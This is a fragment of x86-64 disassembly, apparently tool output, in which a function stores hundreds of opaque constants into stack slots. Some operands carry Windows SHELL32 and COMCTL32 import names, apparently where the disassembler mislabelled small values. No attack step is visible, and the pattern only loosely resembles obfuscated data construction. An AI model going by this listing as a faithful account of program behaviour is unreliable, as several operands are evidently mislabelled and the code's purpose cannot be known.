mov qword [rsp + 0x92b0], rax
mov dword [rsp + 0x59f0], 0x6aefc780
mov dword [rsp + 0x59f4], 0x8f9b
movabs rax, 0x759e447e000da7
mov qword [rsp + 0x92b8], rax
movabs rax, 0x70556cfa2b4217
mov qword [rsp + 0x92c0], rax
mov eax, 0xf91
mov word [rsp + 0xdd4], ax
mov dword [rsp + 0x59f8], 0x704
mov byte [rsp + 0xa6], 0x4f
mov dword [rsp + 0x59fc], 0x92f0
mov eax, 0xc76
mov word [rsp + 0xdd8], ax
mov eax, 0xf65
mov word [rsp + 0xddc], ax
movabs rax, 0x7dccf0633fcd06
mov qword [rsp + 0x92c8], rax
mov dword [rsp + 0x5a00], 0x42ca35b2
mov byte [rsp + 0xa7], 0xe2
movabs rax, 0x7baf68b0d4296f
mov qword [rsp + 0x92d0], rax
mov dword [rsp + 0x5a04], 0x1956a07f
mov eax, 0x322
mov word [rsp + 0xde0], ax
mov eax, 0xb61
mov word [rsp + 0xde4], ax
mov dword [rsp + 0x5a08], 0xc212
mov eax, 0x30
mov word [rsp + 0xde8], ax
mov byte [rsp + 0xa8], 0x3b
mov dword [rsp + 0x5a0c], 0xeb4
movabs rax, 0x77fad799cb6792
mov qword [rsp + 0x92d8], rax
mov byte [rsp + 0xa9], 0x6c
mov byte [rsp + 0xaa], 5
movabs rax, 0x7299ba5a8ec489
mov qword [rsp + 0x92e0], rax
mov eax, 0x3a0
mov word [rsp + 0xdec], ax
movabs rax, 0x73e0d51886bec2
mov qword [rsp + 0x92e8], rax
mov eax, 0x4a5
mov word [rsp + 0xdf0], ax
mov dword [rsp + 0x5a10], 0xae1e
mov dword [rsp + 0x5a14], 0xe088
movabs rax, 0x7b34483713f8c6
mov qword [rsp + 0x92f0], rax
movabs rax, 0x726658c89f6045
mov qword [rsp + 0x92f8], rax
mov eax, 0x206
mov word [rsp + 0xdf4], ax
mov dword [rsp + 0x5a18], 0x5812
movabs rax, 0x7933e2d60b2973
mov qword [rsp + 0x9300], rax
movabs rax, 0x755c05ffb8eb8a
mov qword [rsp + 0x9308], rax
movabs rax, 0x788b68a0933d57
mov qword [rsp + 0x9310], rax
mov byte [rsp + 0xab], 0x6a
movabs rax, 0x7b43daaf2b2c88
mov qword [rsp + 0x9318], rax
mov eax, 0x7d1
mov word [rsp + 0xdf8], ax
mov byte [rsp + 0xac], 0xf8
mov eax, 0x1a3
mov word [rsp + 0xdfc], ax
mov dword [rsp + 0x5a1c], 0xd4e4
mov eax, 0x219
mov word [rsp + 0xe00], ax
movabs rax, 0x77f755a1d674af
mov qword [rsp + 0x9320], rax
mov dword [rsp + 0x5a20], 0x37c0ce88
mov eax, 0x218
mov word [rsp + 0xe04], ax
movabs rax, 0x7a37f1d277ef8a
mov qword [rsp + 0x9328], rax
mov byte [rsp + 0xad], 0x5c
mov dword [rsp + 0x5a24], 0x4a5f7983
movabs rax, 0x78f3c67c45e9e5
mov qword [rsp + 0x9330], rax
movabs rax, 0x7250d37c466b62
mov qword [rsp + 0x9338], rax
movabs rax, 0x7c3651a1da8d22
mov qword [rsp + 0x9340], rax
mov eax, 0x3bf
mov word [rsp + 0xe08], ax
mov byte [rsp + 0xae], 0xf8
mov dword [rsp + 0x5a28], 0xf026
mov dword [rsp + 0x5a2c], 0x72e387a9
mov byte [rsp + 0xaf], reloc.SHELL32.dll_SHDoDragDrop
mov byte [rsp + 0xb0], reloc.SHELL32.dll_ILFindLastID
mov byte [rsp + 0xb1], 0x5a
mov dword [rsp + 0x5a30], 0x3500
mov byte [rsp + 0xb2], 0x63
mov dword [rsp + 0x5a34], 0x3dbf6941
movabs rax, 0x772da09eee112d
mov qword [rsp + 0x9348], rax
mov byte [rsp + 0xb3], 0x78
movabs rax, 0x7b8c939529aa53
mov qword [rsp + 0x9350], rax
mov eax, 0x5c9
mov word [rsp + 0xe0c], ax
mov eax, 0xc0d
mov word [rsp + 0xe10], ax
movabs rax, 0x7c63396cfa3b36
mov qword [rsp + 0x9358], rax
movabs rax, 0x74009786f50e10
mov qword [rsp + 0x9360], rax
mov eax, 0x24a
mov word [rsp + 0xe14], ax
mov eax, 0xd92
mov word [rsp + 0xe18], ax
mov eax, 0x267
mov word [rsp + 0xe1c], ax
mov eax, 0x21f
mov word [rsp + 0xe20], ax
mov eax, 0x471
mov word [rsp + 0xe24], ax
movabs rax, 0x7000b926d670a4
mov qword [rsp + 0x9368], rax
movabs rax, 0x74f27daf8370df
mov qword [rsp + 0x9370], rax
mov eax, 0x61a
mov word [rsp + 0xe28], ax
mov eax, 0x40b
mov word [rsp + 0xe2c], ax
mov dword [rsp + 0x5a38], 0x577a8c6e
mov byte [rsp + 0xb4], 0xed
mov eax, 0xd46
mov word [rsp + 0xe30], ax
mov eax, 0x663
mov word [rsp + 0xe34], ax
movabs rax, 0x7490491f69c30e
mov qword [rsp + 0x9378], rax
mov dword [rsp + 0x5a3c], 0x87b3
mov eax, 0x3c
mov word [rsp + 0xe38], ax
mov byte [rsp + 0xb5], 0x40
mov byte [rsp + 0xb6], reloc.COMCTL32.dll_MakeDragList
mov dword [rsp + 0x5a40], 0x6e74b6f8
mov eax, 0x33d
mov word [rsp + 0xe3c], ax
mov byte [rsp + 0xb7], ILIsParent
mov dword [rsp + 0x5a44], 0x599e4578
movabs rax, 0x7703cef57c9c1a
mov qword [rsp + 0x9380], rax
mov eax, 0xa76
mov word [rsp + 0xe40], ax
movabs rax, 0x7dc243f16434b4
mov qword [rsp + 0x9388], rax
mov byte [rsp + 0xb8], 0x20
mov eax, 0x2f4
mov word [rsp + 0xe44], ax
mov eax, 0x412
mov word [rsp + 0xe48], ax
movabs rax, 0x7ba7c3277c0320
mov qword [rsp + 0x9390], rax
mov eax, 0xec6
mov word [rsp + 0xe4c], ax
mov eax, 0xb8f
mov word [rsp + 0xe50], ax
mov byte [rsp + 0xb9], 0x26
movabs rax, 0x7caec83a68c766
mov qword [rsp + 0x9398], rax
movabs rax, 0x79ceefd948f1b0
mov qword [rsp + 0x93a0], rax
mov dword [rsp + 0x5a48], 0x19a4
movabs rax, 0x719e5c204ae556
mov qword [rsp + 0x93a8], rax
mov eax, 0xfc4
mov word [rsp + 0xe54], ax
mov dword [rsp + 0x5a4c], 0x4f16871d
movabs rax, 0x7bae0f45487135
mov qword [rsp + 0x93b0], rax
mov byte [rsp + 0xba], 0x21
movabs rax, 0x7be8a7a0f55a04
mov qword [rsp + 0x93b8], rax
mov dword [rsp + 0x5a50], 0xdc47
mov eax, 0x6b0
mov word [rsp + 0xe58], ax
mov byte [rsp + 0xbb], PathMakeUniqueName
mov byte [rsp + 0xbc], 0x35
mov byte [rsp + 0xbd], PathYetAnotherMakeUniqueName
movabs rax, 0x738c56f6bf7643
mov qword [rsp + 0x93c0], rax
mov eax, 0x27d
mov word [rsp + 0xe5c], ax
movabs rax, 0x75d27831e32a1d
mov qword [rsp + 0x93c8], rax
mov eax, 0x7ae
mov word [rsp + 0xe60], ax
mov eax, 0x227
mov word [rsp + 0xe64], ax
mov eax, 0x30f
mov word [rsp + 0xe68], ax
mov byte [rsp + 0xbe], 3
mov byte [rsp + 0xbf], LBItemFromPt
movabs rax, 0x7b23dafb6077f7
mov qword [rsp + 0x93d0], rax
mov eax, 0x5d9
mov word [rsp + 0xe6c], ax
mov eax, 0x54b
mov word [rsp + 0xe70], ax
mov eax, 0x8ee
mov word [rsp + 0xe74], ax
mov byte [rsp + 0xc0], 0x36
movabs rax, 0x79160f292c5f6d
mov qword [rsp + 0x93d8], rax
mov byte [rsp + 0xc1], 0x6c
mov eax, 0x770
mov word [rsp + 0xe78], ax
mov dword [rsp + 0x5a54], 0x703a
movabs rax, 0x70c10809b085c2
mov qword [rsp + 0x93e0], rax
mov eax, 0x1d
mov word [rsp + 0xe7c], ax
mov dword [rsp + 0x5a58], 0x915e
movabs rax, 0x78611258f1757e
mov qword [rsp + 0x93e8], rax
movabs rax, 0x7bd98565a06b92
mov qword [rsp + 0x93f0], rax
movabs rax, 0x757288025fd266
mov qword [rsp + 0x93f8], rax
mov byte [rsp + 0xc2], reloc.SHELL32.dll_ILCreateFromPathW
mov dword [rsp + 0x5a5c], 0x91b0
mov eax, 0x6f5
mov word [rsp + 0xe80], ax
movabs rax, 0x702a1cc01efc4d
mov qword [rsp + 0x9400], rax
mov dword [rsp + 0x5a60], 0x26c8
mov byte [rsp + 0xc3], 0x21
movabs rax, 0x73929891ca9b4a
mov qword [rsp + 0x9408], rax
mov dword [rsp + 0x5a64], 0x3cc958ae
mov byte [rsp + 0xc4], SHDoDragDrop
movabs rax, 0x7beea48d49fc42
mov qword [rsp + 0x9410], rax
movabs rax, 0x70d8521845e1f2
mov qword [rsp + 0x9418], rax
mov byte [rsp + 0xc5], SHDoDragDrop
mov eax, 0x1c
mov word [rsp + 0xe84], ax
movabs rax, 0x7c0960100d966b
mov qword [rsp + 0x9420], rax
mov dword [rsp + 0x5a68], 0x39fd551c
mov eax, 0x7a0
mov word [rsp + 0xe88], ax
movabs rax, 0x7ab2bdb518d31f
mov qword [rsp + 0x9428], rax
movabs rax, 0x73207d2e5e0d76
mov qword [rsp + 0x9430], rax
mov byte [rsp + 0xc6], 0xeb
mov eax, 0x740
mov word [rsp + 0xe8c], ax
movabs rax, 0x72112e9b8d4889
mov qword [rsp + 0x9438], rax
mov eax, 0x29a
mov word [rsp + 0xe90], ax
mov eax, 0x298
mov word [rsp + 0xe94], ax
movabs rax, 0x72300b7d8689bb
mov qword [rsp + 0x9440], rax
movabs rax, 0x723768eda20df6
mov qword [rsp + 0x9448], rax
mov byte [rsp + 0xc7], 0x5c
mov dword [rsp + 0x5a6c], 0x69901dcb
movabs rax, 0x7750ac663455ad
mov qword [rsp + 0x9450], rax
mov dword [rsp + 0x5a70], 0xdcd7
mov byte [rsp + 0xc8], reloc.SHELL32.dll_PathMakeUniqueName
movabs rax, 0x7aff2933c9de40
mov qword [rsp + 0x9458], rax
mov dword [rsp + 0x5a74], 0xa3
movabs rax, 0x70bfda90ee1388
mov qword [rsp + 0x9460], rax
movabs rax, 0x71377ae8e1b9f5
mov qword [rsp + 0x9468], rax
mov eax, 0x339
mov word [rsp + 0xe98], ax
mov eax, reloc.SHELL32.dll_SHChangeNotification_Unlock
mov word [rsp + 0xe9c], ax
mov eax, 0x2e8
mov word [rsp + 0xea0], ax
movabs rax, 0x7193b2e67f229b
mov qword [rsp + 0x9470], rax
movabs rax, 0x72a0075bacdbc2
mov qword [rsp + 0x9478], rax
movabs rax, 0x70f0d50b6d7753
mov qword [rsp + 0x9480], rax
mov eax, 0x7e9
mov word [rsp + 0xea4], ax
movabs rax, 0x751d46add53bca
mov qword [rsp + 0x9488], rax
mov dword [rsp + 0x5a78], 0x7102
mov dword [rsp + 0x5a7c], 0x4c68
mov dword [rsp + 0x5a80], 0xfc0a
movabs rax, 0x780e402d39d312
mov qword [rsp + 0x9490], rax
movabs rax, 0x79f03d9f0abe7d
mov qword [rsp + 0x9498], rax
mov dword [rsp + 0x5a84], 0x22a530ac
movabs rax, 0x7b84af72823e5d
mov qword [rsp + 0x94a0], rax
mov dword [rsp + 0x5a88], 0x2578bae2
movabs rax, 0x7ec1099788abd8
mov qword [rsp + 0x94a8], rax
mov eax, 0x617
mov word [rsp + 0xea8], ax
movabs rax, 0x7e81739a77f296
mov qword [rsp + 0x94b0], rax
mov dword [rsp + 0x5a8c], 0xaf39
mov eax, 0x578
mov word [rsp + 0xeac], ax
mov dword [rsp + 0x5a90], 0x4d601327
movabs rax, 0x73d67b47332aef
mov qword [rsp + 0x94b8], rax
movabs rax, 0x773c9c18df32c2
mov qword [rsp + 0x94c0], rax
movabs rax, 0x7c2ad9013fde1b
mov qword [rsp + 0x94c8], rax
mov byte [rsp + 0xc9], 0x1f
movabs rax, 0x7e668060322c74
mov qword [rsp + 0x94d0], rax
movabs rax, 0x7323c5f1232239
mov qword [rsp + 0x94d8], rax
mov byte [rsp + 0xca], 0x67
mov byte [rsp + 0xcb], 0x72
movabs rax, 0x782ad47af44fd0
mov qword [rsp + 0x94e0], rax
mov byte [rsp + 0xcc], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
movabs rax, 0x78ac853ff62c6e
mov qword [rsp + 0x94e8], rax
xor eax, eax
mov word [rsp + 0xeb0], ax
mov eax, 0x9db
mov word [rsp + 0xeb4], ax
mov byte [rsp + 0xcd], 5
mov dword [rsp + 0x5a94], 0xe581
movabs rax, 0x760d35b52c33d7
mov qword [rsp + 0x94f0], rax
movabs rax, 0x7a1f3b74015d8f
mov qword [rsp + 0x94f8], rax
mov byte [rsp + LBItemFromPte], 0xc
movabs rax, 0x79bb113a645160
mov qword [rsp + 0x9500], rax
mov byte [rsp + 0xcf], 0x3b
mov dword [rsp + 0x5a98], 0xcae8
mov byte [rsp + 0xd0], SHDoDragDrop
mov byte [rsp + 0xd1], 0x68
mov byte [rsp + 0xd2], 0x59
mov dword [rsp + 0x5a9c], 0x26519134
mov byte [rsp + 0xd3], 0x3a
mov dword [rsp + 0x5aa0], 0xafa
mov dword [rsp + 0x5aa4], 0x801c
movabs rax, 0x7a905adc3e1ee6
mov qword [rsp + 0x9508], rax
mov dword [rsp + 0x5aa8], 0x2ee8
mov byte [rsp + 0xd4], 0
mov eax, PathMakeUniqueName
mov word [rsp + 0xeb8], ax
mov dword [rsp + 0x5aac], 0xc955
mov byte [rsp + 0xd5], SHDoDragDrop
mov byte [rsp + 0xd6], 0x7c
mov eax, 0xe7e
mov word [rsp + 0xebc], ax
mov eax, 0x400
mov word [rsp + 0xec0], ax
mov eax, reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov word [rsp + 0xec4], ax
mov dword [rsp + 0x5ab0], 0x2c9b28cc
mov eax, 0x6b3
mov word [rsp + 0xec8], ax
mov eax, 0x183
mov word [rsp + 0xecc], ax
mov eax, 0x53
mov word [rsp + 0xed0], ax
movabs rax, 0x70925681900c56
mov qword [rsp + 0x9510], rax
mov eax, 0xb03
mov word [rsp + 0xed4], ax
movabs rax, 0x7d7787e1d8f33a
mov qword [rsp + 0x9518], rax
movabs rax, 0x7ccced399da4fa
mov qword [rsp + 0x9520], rax
mov byte [rsp + 0xd7], 7
movabs rax, 0x763eb1b773331d
mov qword [rsp + 0x9528], rax
mov dword [rsp + 0x5ab4], 0x5f2b
movabs rax, 0x7e9db28a960f4e
mov qword [rsp + 0x9530], rax
mov byte [rsp + 0xd8], reloc.SHELL32.dll_ILSaveToStream
movabs rax, 0x70308bb499830e
mov qword [rsp + 0x9538], rax
mov eax, 0xb64
mov word [rsp + 0xed8], ax
mov dword [rsp + 0x5ab8], 0xf643
mov eax, 0xf6
mov word [rsp + 0xedc], ax
movabs rax, 0x78b6a8d6d6c6ba
mov qword [rsp + 0x9540], rax
mov byte [rsp + 0xd9], 0x1c
movabs rax, 0x7ddb364e3ce8c3
mov qword [rsp + 0x9548], rax
movabs rax, 0x7173edae79b63b
mov qword [rsp + 0x9550], rax
mov dword [rsp + 0x5abc], 0x58dd
mov eax, 0x3eb
mov word [rsp + 0xee0], ax
movabs rax, 0x7a457b8849ba4f
mov qword [rsp + 0x9558], rax
mov dword [rsp + 0x5ac0], 0xeb3
mov eax, 0x40f
mov word [rsp + 0xee4], ax
mov dword [rsp + 0x5ac4], 0x7bb98eea
movabs rax, 0x71b70f7a73118c
mov qword [rsp + 0x9560], rax
mov dword [rsp + 0x5ac8], 0xa29e
movabs rax, 0x72627b57b26d52
mov qword [rsp + 0x9568], rax
movabs rax, 0x7df8d970362490
mov qword [rsp + 0x9570], rax
movabs rax, 0x778fdf76809778
mov qword [rsp + 0x9578], rax
mov dword [rsp + 0x5acc], 0x2519d597
movabs rax, 0x7d1f79a62f5cc8
mov qword [rsp + 0x9580], rax
movabs rax, 0x7a8973a36e60d4
mov qword [rsp + 0x9588], rax
movabs rax, 0x709015074e993a
mov qword [rsp + 0x9590], rax
mov byte [rsp + 0xda], PathMakeUniqueName
mov byte [rsp + 0xdb], reloc.SHELL32.dll_PathMakeUniqueName
movabs rax, 0x7b9eb098ccf0aa
mov qword [rsp + 0x9598], rax
movabs rax, 0x7499c27c7b9ffe
mov qword [rsp + 0x95a0], rax
movabs rax, 0x7502d2b77fd36a
mov qword [rsp + 0x95a8], rax
movabs rax, 0x77df39db8b10a7
mov qword [rsp + 0x95b0], rax
mov byte [rsp + 0xdc], 0x65
movabs rax, 0x700307f80ce321
mov qword [rsp + 0x95b8], rax
movabs rax, 0x703be3f8a978e2
mov qword [rsp + 0x95c0], rax
mov dword [rsp + 0x5ad0], 0x5f74
mov dword [rsp + 0x5ad4], 0x1a04ef3e
movabs rax, 0x721ac7f5e5c005
mov qword [rsp + 0x95c8], rax
mov byte [rsp + 0xdd], 0xce
mov eax, 0x3d
mov word [rsp + 0xee8], ax
movabs rax, 0x7cb3f57de18957
mov qword [rsp + 0x95d0], rax
mov dword [rsp + 0x5ad8], 0xc513
mov byte [rsp + 0xde], 0x1d
mov byte [rsp + 0xdf], 0x23
mov eax, 0x9f6
mov word [rsp + 0xeec], ax
mov byte [rsp + 0xe0], 0x22
mov byte [rsp + 0xe1], 0x25
mov byte [rsp + 0xe2], PathYetAnotherMakeUniqueName
mov eax, 0x4ed
mov word [rsp + 0xef0], ax
mov byte [rsp + 0xe3], 0x3a
mov eax, 0x7a1
mov word [rsp + 0xef4], ax
mov eax, reloc.COMCTL32.dll_LBItemFromPt
mov word [rsp + 0xef8], ax
movabs rax, 0x76e8fef8de57d2
mov qword [rsp + 0x95d8], rax
mov byte [rsp + 0xe4], SHDoDragDrop
mov byte [rsp + 0xe5], 0x1e
mov byte [rsp + 0xe6], PathYetAnotherMakeUniqueName
mov byte [rsp + 0xe7], 0x75
mov dword [rsp + 0x5adc], 0x7ef953de
movabs rax, 0x752441a270e50a
mov qword [rsp + 0x95e0], rax
mov dword [rsp + 0x5ae0], 0x1a08
mov eax, 0xb9
mov word [rsp + 0xefc], ax
mov eax, 0x499
mov word [rsp + 0xf00], ax
mov dword [rsp + 0x5ae4], 0x11cc214f
mov dword [rsp + 0x5ae8], 0x3e962038
mov dword [rsp + 0x5aec], 0x5edec947
mov dword [rsp + 0x5af0], 0x2130
mov dword [rsp + 0x5af4], 0xf1be
mov eax, 0x4e6
mov word [rsp + 0xf04], ax
mov byte [rsp + 0xe8], reloc.SHELL32.dll_ILFindChild
mov eax, 0x7b5
mov word [rsp + 0xf08], ax
mov dword [rsp + 0x5af8], 0xa9d
mov dword [rsp + 0x5afc], 0x20c8ead6
mov eax, 0xdbd
mov word [rsp + 0xf0c], ax
movabs rax, 0x7800d8f8b0e0e7
mov qword [rsp + 0x95e8], rax
movabs rax, 0x71b00d0db9aad4
mov qword [rsp + 0x95f0], rax
movabs rax, 0x7431f6aa24259e
mov qword [rsp + 0x95f8], rax
mov eax, 0x625
mov word [rsp + 0xf10], ax
mov dword [rsp + 0x5b00], 0x3d7f
movabs rax, 0x7a973cf6e7902c
mov qword [rsp + 0x9600], rax
mov dword [rsp + 0x5b04], 0x43f5
mov byte [rsp + 0xe9], 0x32
movabs rax, 0x721126fbea06ca
mov qword [rsp + 0x9608], rax
mov dword [rsp + 0x5b08], 0x30dd
movabs rax, 0x7e06be402bfeb7
mov qword [rsp + 0x9610], rax
movabs rax, 0x758aea40c53f9d
mov qword [rsp + 0x9618], rax
movabs rax, 0x74ec7bdaab5b08
mov qword [rsp + 0x9620], rax
mov byte [rsp + 0xea], 0x42
mov eax, 0xd60
mov word [rsp + 0xf14], ax
mov dword [rsp + 0x5b0c], 0x7b3b
movabs rax, 0x7bdcf1e71c952f
mov qword [rsp + 0x9628], rax
mov eax, 0x44d
mov word [rsp + 0xf18], ax
mov eax, 0x512
mov word [rsp + 0xf1c], ax
mov eax, 0x46e
mov word [rsp + 0xf20], ax
mov eax, 0xf36
mov word [rsp + 0xf24], ax
mov dword [rsp + 0x5b10], 0x8e37
mov dword [rsp + 0x5b14], 0x59c2
mov byte [rsp + 0xeb], 0x6b
mov eax, 0x64e
mov word [rsp + 0xf28], ax
mov byte [rsp + 0xec], 0x7c
mov byte [rsp + 0xed], 2
movabs rax, 0x7b2d4cba923b4a
mov qword [rsp + 0x9630], rax
mov eax, 0xf24
mov word [rsp + 0xf2c], ax
movabs rax, 0x778385898bf2c9
mov qword [rsp + 0x9638], rax
movabs rax, 0x7a28cfd249be3b
mov qword [rsp + 0x9640], rax
movabs rax, 0x71a800342b08ed
mov qword [rsp + 0x9648], rax
movabs rax, 0x7ccebe9424b006
mov qword [rsp + 0x9650], rax
mov byte [rsp + 0xee], SHGetNewLinkInfoW
mov dword [rsp + 0x5b18], 0x75a6361c
mov dword [rsp + 0x5b1c], 0x6a7a454
mov eax, 0x778
mov word [rsp + 0xf30], ax
mov eax, 0x83c
mov word [rsp + 0xf34], ax
mov eax, 0x792
mov word [rsp + 0xf38], ax
movabs rax, 0x70165835b204f6
mov qword [rsp + 0x9658], rax
mov dword [rsp + 0x5b20], 0x9999
mov eax, 0x83f
mov word [rsp + 0xf3c], ax
movabs rax, 0x70f7296d6a67bc
mov qword [rsp + 0x9660], rax
movabs rax, 0x75785d20fea3f6
mov qword [rsp + 0x9668], rax
mov eax, 0xbe3
mov word [rsp + 0xf40], ax
mov eax, 0x663
mov word [rsp + 0xf44], ax
mov dword [rsp + 0x5b24], 0x2d9d74ef
mov eax, 0x126
mov word [rsp + 0xf48], ax
mov dword [rsp + 0x5b28], 0x7ffb
mov byte [rsp + 0xef], PathMakeUniqueName
mov dword [rsp + 0x5b2c], 0x21aeab63
mov eax, 0x1a8
mov word [rsp + 0xf4c], ax
mov dword [rsp + 0x5b30], 0x79aa6543
mov eax, 0xe33
mov word [rsp + 0xf50], ax
mov dword [rsp + 0x5b34], 0x3f6b0dfc
movabs rax, 0x7c8c4c9a93b54c
mov qword [rsp + 0x9670], rax
mov byte [rsp + 0xf0], 0x60
mov dword [rsp + 0x5b38], 0x5733
mov dword [rsp + 0x5b3c], 0xbda7
mov byte [rsp + 0xf1], 0xf6
mov dword [rsp + 0x5b40], 0x3e72429c
mov dword [rsp + 0x5b44], 0x6bf0
mov dword [rsp + 0x5b48], 0x5d35
mov byte [rsp + 0xf2], 6
mov byte [rsp + 0xf3], 0x7c
mov dword [rsp + 0x5b4c], 0x2cab7a1
mov dword [rsp + 0x5b50], 0x84e9
movabs rax, 0x71d0b3dbdfa086
mov qword [rsp + 0x9678], rax
movabs rax, 0x769211ea37bcce
mov qword [rsp + 0x9680], rax
mov eax, 0x4f
mov word [rsp + 0xf54], ax
mov eax, 0x415
mov word [rsp + 0xf58], ax
mov eax, 0xf48
mov word [rsp + 0xf5c], ax
mov byte [rsp + 0xf4], 0x7d
mov dword [rsp + 0x5b54], 0x610e
mov eax, 0x52c
mov word [rsp + 0xf60], ax
mov eax, 0x34d
mov word [rsp + 0xf64], ax
mov byte [rsp + 0xf5], 4
mov dword [rsp + 0x5b58], 0x666ed125
mov eax, 0x77e
mov word [rsp + 0xf68], ax
movabs rax, 0x7b845e246807d8
mov qword [rsp + 0x9688], rax
mov dword [rsp + 0x5b5c], 0xa987c30
mov byte [rsp + 0xf6], SHDoDragDrop
mov dword [rsp + 0x5b60], 0x4c51
mov eax, 0x211
mov word [rsp + 0xf6c], ax
movabs rax, 0x73d426deb8a96b
mov qword [rsp + 0x9690], rax
mov eax, 0xf7a
mov word [rsp + 0xf70], ax
movabs rax, 0x70b56590ef9fb9
mov qword [rsp + 0x9698], rax
movabs rax, 0x782af0a878ae1f
mov qword [rsp + 0x96a0], rax
movabs rax, 0x7d47f15703d569
mov qword [rsp + 0x96a8], rax
mov byte [rsp + 0xf7], 0x6c
mov dword [rsp + 0x5b64], 0x6654c152
mov byte [rsp + 0xf8], reloc.SHELL32.dll_ILGetSize
mov eax, 0x646
mov word [rsp + 0xf74], ax
mov dword [rsp + 0x5b68], 0xaa7f
mov dword [rsp + 0x5b6c], 0x25ec1974
mov dword [rsp + 0x5b70], 0x50aa
mov eax, 0xe7
mov word [rsp + 0xf78], ax
movabs rax, 0x7e74fc4cc429b3
mov qword [rsp + 0x96b0], rax
movabs rax, 0x741d047bbc05a9
mov qword [rsp + 0x96b8], rax
movabs rax, 0x7c9cef1777f12a
mov qword [rsp + 0x96c0], rax
mov byte [rsp + 0xf9], 0
mov byte [rsp + 0xfa], 8
mov dword [rsp + 0x5b74], 0x4a65
mov dword [rsp + 0x5b78], 0x15e0
mov eax, 0xccf
mov word [rsp + 0xf7c], ax
mov byte [rsp + 0xfb], SHTestTokenMembership
movabs rax, 0x7521a4a9c69750
mov qword [rsp + 0x96c8], rax
mov eax, 0x46f
mov word [rsp + 0xf80], ax
movabs rax, 0x7c7b4d94387b93
mov qword [rsp + 0x96d0], rax
mov dword [rsp + 0x5b7c], 0x23018df9
movabs rax, 0x74b0380f4b13d6
mov qword [rsp + 0x96d8], rax
mov byte [rsp + 0xfc], 0x8a
mov byte [rsp + 0xfd], ILSaveToStream
mov eax, 0xed0
mov word [rsp + 0xf84], ax
mov eax, 0x80d
mov word [rsp + 0xf88], ax
movabs rax, 0x7abf283ad376fd
mov qword [rsp + 0x96e0], rax
mov eax, 0xd78
mov word [rsp + 0xf8c], ax
mov dword [rsp + 0x5b80], 0x6057941e
mov eax, 0x37a
mov word [rsp + 0xf90], ax
mov dword [rsp + 0x5b84], 0x48a4
movabs rax, 0x7e1764ffbd7d65
mov qword [rsp + 0x96e8], rax
movabs rax, 0x7358c01414e1a9
mov qword [rsp + 0x96f0], rax
mov eax, 0x18e
mov word [rsp + 0xf94], ax
mov byte [rsp + 0xfe], 0x40
mov byte [rsp + 0xff], 0x9d
movabs rax, 0x7708f31f128226
mov qword [rsp + 0x96f8], rax
movabs rax, 0x7d275a87b33684
mov qword [rsp + 0x9700], rax
mov eax, 0x13a
mov word [rsp + 0xf98], ax
movabs rax, 0x71349c948ac689
mov qword [rsp + 0x9708], rax
movabs rax, 0x7a5c28f082f1c2
mov qword [rsp + 0x9710], rax
mov dword [rsp + 0x5b88], 0xe1fe
movabs rax, 0x79a7ec50109522
mov qword [rsp + 0x9718], rax
movabs rax, 0x72c59ac0de9dc9
mov qword [rsp + 0x9720], rax
mov byte [rsp + 0x100], PathMakeUniqueName
mov eax, 0xdf0
mov word [rsp + 0xf9c], ax
mov byte [rsp + 0x101], 0x38
mov dword [rsp + 0x5b8c], 0x6ba6fce4
mov byte [rsp + 0x102], reloc.SHELL32.dll_ILSaveToStream
mov eax, 0x1e3
mov word [rsp + 0xfa0], ax
movabs rax, 0x76a73b629ae8c4
mov qword [rsp + 0x9728], rax
movabs rax, 0x7efcdb8a1d38a9
mov qword [rsp + 0x9730], rax
mov dword [rsp + 0x5b90], 0x9c74
mov byte [rsp + 0x103], reloc.SHELL32.dll_ILFindChild
movabs rax, 0x70dfd10dfd118a
mov qword [rsp + 0x9738], rax
mov dword [rsp + 0x5b94], 0xdada
mov eax, 0x38
mov word [rsp + 0xfa4], ax
mov byte [rsp + 0x104], 0x40
mov byte [rsp + 0x105], PathYetAnotherMakeUniqueName
mov eax, PathYetAnotherMakeUniqueName
mov word [rsp + 0xfa8], ax
mov byte [rsp + 0x106], PathMakeUniqueName
movabs rax, 0x7bc774cf7251e6
mov qword [rsp + 0x9740], rax
mov byte [rsp + 0x107], 0x34
mov eax, 0x4bf
mov word [rsp + 0xfac], ax
mov dword [rsp + 0x5b98], 0x1e28c539
movabs rax, 0x7a44d92c3613b2
mov qword [rsp + 0x9748], rax
mov eax, ILSaveToStream
mov word [rsp + 0xfb0], ax
mov eax, 0x60f
mov word [rsp + 0xfb4], ax
mov dword [rsp + 0x5b9c], 0x1816
movabs rax, 0x7c483bbba9f4e5
mov qword [rsp + 0x9750], rax
movabs rax, 0x7596c1a6fa57c6
mov qword [rsp + 0x9758], rax
mov eax, 0xb1d
mov word [rsp + 0xfb8], ax
movabs rax, 0x76d1c21637841e
mov qword [rsp + 0x9760], rax
mov eax, 0xe0
mov word [rsp + 0xfbc], ax
movabs rax, 0x779774bf3c7848
mov qword [rsp + 0x9768], rax
mov byte [rsp + reloc.SHELL32.dll_ILFindLastID8], 0x10
mov eax, 0x3e7
mov word [rsp + 0xfc0], ax
movabs rax, 0x797cdd1466dc93
mov qword [rsp + 0x9770], rax
mov eax, 0x2bf
mov word [rsp + 0xfc4], ax
mov byte [rsp + 0x109], SHUpdateImageW
movabs rax, 0x7278103192934f
mov qword [rsp + 0x9778], rax
movabs rax, 0x7ed42c4acce233
mov qword [rsp + 0x9780], rax
mov eax, 0x1c9
mov word [rsp + 0xfc8], ax
movabs rax, 0x76e8a63e2de593
mov qword [rsp + 0x9788], rax
mov byte [rsp + 0x10a], 0xe0
movabs rax, 0x7950f2b804a2c6
mov qword [rsp + 0x9790], rax
mov eax, 0xdfd
mov word [rsp + 0xfcc], ax
mov byte [rsp + 0x10b], LBItemFromPt
mov eax, 0x318
mov word [rsp + 0xfd0], ax
mov dword [rsp + 0x5ba0], 0x6021
mov eax, 0xbc6
mov word [rsp + 0xfd4], ax
movabs rax, 0x791f597a371d2f
mov qword [rsp + 0x9798], rax
mov eax, 0x3fa
mov word [rsp + 0xfd8], ax
mov byte [rsp + 0x10c], 0x23
movabs rax, 0x7ec7249f9364cb
mov qword [rsp + 0x97a0], rax
mov eax, 0x23f
mov word [rsp + 0xfdc], ax
movabs rax, 0x71d0115f234dbc
mov qword [rsp + 0x97a8], rax
mov byte [rsp + 0x10d], 0x3c
mov dword [rsp + 0x5ba4], 0xcc7dcaf
mov byte [rsp + 0x10e], 0x6b
mov byte [rsp + 0x10f], 0x70
mov eax, 0x6fd
mov word [rsp + 0xfe0], ax
mov dword [rsp + 0x5ba8], 0x28f5
mov byte [rsp + 0x110], 0xe6
